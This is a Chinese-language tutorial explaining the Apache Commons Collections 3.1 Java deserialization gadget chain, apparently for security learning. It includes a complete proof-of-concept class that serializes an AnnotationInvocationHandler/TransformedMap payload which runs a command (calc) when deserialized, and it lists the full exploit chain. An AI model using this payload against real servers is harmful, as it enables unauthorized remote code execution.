【java安全】CommonsCollections3.1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库，可以通过相关的调用链，触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数

我们首先看一看构造方法：

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}

为参数赋初值

transform()方法

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);}...}}

该方法会使用反射机制，将传入的对象input使用getClass()方法获取Class对象，然后使用getMethod()获取方法的Method对象，最后传参invoke()调用函数

那么我们就可以通过InvokerTransformer这么执行命令：

import org.apache.commons.collections.functors.InvokerTransformer;public class InvokerTransformerDemo {public static void main(String[] args) throws Exception {//Class runtimeClass=Class.forName("java.lang.Runtime");//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}).transform(runtimeClass);//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象Object runtime=new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}).transform(m_getMethod);//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象Object exec=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"}).transform(runtime);}
}

Runtime类的getRuntime()函数是静态方法，所以使用反射不需要传入对象，传个null即可

public static Runtime getRuntime() {return currentRuntime;}

ConstantTransformer

这个类的transform()方法很简单：

public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}
public Object transform(Object input) {return this.iConstant;}

传入什么对象，就返回什么对象

ChainedTransformer

构造函数：

public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}

将传入的transformer数组赋值给 iTransformers 变量

再看transform()方法：(重点)

public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法，并且会将前一个的返回值通过object变量传给后面一个

于是我们可以构造出新的链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;public class ReflectionChain {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"})};ChainedTransformer chain= new ChainedTransformer(transformers);chain.transform(null);}
}

至此，我们漏洞利用条件是构造出含命令的ChainedTransformer对象，然后触发transform()方法

如何才能触发呢？

我们需要看看TransformedMap类的源码：

TransformedMap

在TransformedMap类中，存在一个checkSetValue()方法，可以调用transform()方法：

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

我们可以通过创建TransformMap对象来调用该方法，但是如何创建对象呢？

我们可以使用decorate()静态方法：

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

于是，我们可以将构造的链子传入TransformedMap对象中：

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

如何触发checkSetValue()方法？

Map是java的接口，

Map.entrySet()的返回值是一个Set集合，此集合的类型是Map.Entry

我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是AbstractInputCheckedMapDecorator类中存在setValue()方法，可以调用checkSetValue()

static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = this.parent.checkSetValue(value);return this.entry.setValue(value);}}

根据继承和多态，我们知道TransformedMap类中也有setValue()方法

我们可以对outmap对象如下操作就可触发命令执行：

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用setValue()方法，我们需要实现带有readObject()方法的类调用setValue()方法，这样就可以实现反序列化RCE了

这里需要用到AnnotationInvocationHandler类：

AnnotationInvocationHandler

AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法

构造函数：

这里先直接给出两个条件：

1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类，且其中必须含有⾄少⼀个⽅法，假设⽅法名是X

1. 被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以，在Retention有⼀个⽅法，名为value；所以，为了再满⾜第⼆个条件，我需要给Map中放⼊⼀个Key是value的元素

poc

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;public class CommonCollections11 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })};               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "xxx");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true，否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload，并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

以上利用方法在jdk1.7有效，不过ysoserial中也有jdk1.8的利用方式

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

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